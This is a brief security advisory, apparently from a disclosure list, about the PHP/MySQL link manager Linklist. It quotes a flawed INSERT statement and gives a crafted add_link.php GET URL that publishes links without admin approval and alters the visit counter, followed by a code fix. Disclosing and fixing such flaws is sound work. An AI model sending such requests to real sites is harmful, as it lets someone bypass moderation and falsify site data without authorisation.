Linklist is a miniwebsite that you can use in your webpage. Basically it
manages a database of links using PHP+MySQL. Users can send links (url,
description, etc) by a form and one admin has to approve or delete the
links before the publication in the website.
One not very important problem is that add_link.php doesn't test the
method used (GET or POST). But the real problem is the method to insert
some values.
Reading the code you can see the SQL sentence:
INSERT INTO $linktable VALUES('0','$url','$linkname','$approved=0','$email',
'$counter=0','$description','$ip','$date','$category_id','0')";
It asign values to approved and counter directly in the SQL sentence. For that,
you can enter links approved without moderation writing this:
http://domain/add_link.php?url=http://www.domain.com&linkname=name_of_the_link
&approved=1&email=my@email.com&description=blablablablablablabla&category_id=1
Also you can alter the counter of visits if you add &counter=XXXX to the GET
-= Solution =-
$approved = 0;
$counter = 0;
INSERT INTO $linktable VALUES('0','$url','$linkname','$approved','$email',
'$counter','$description','$ip','$date','$category_id','0')";
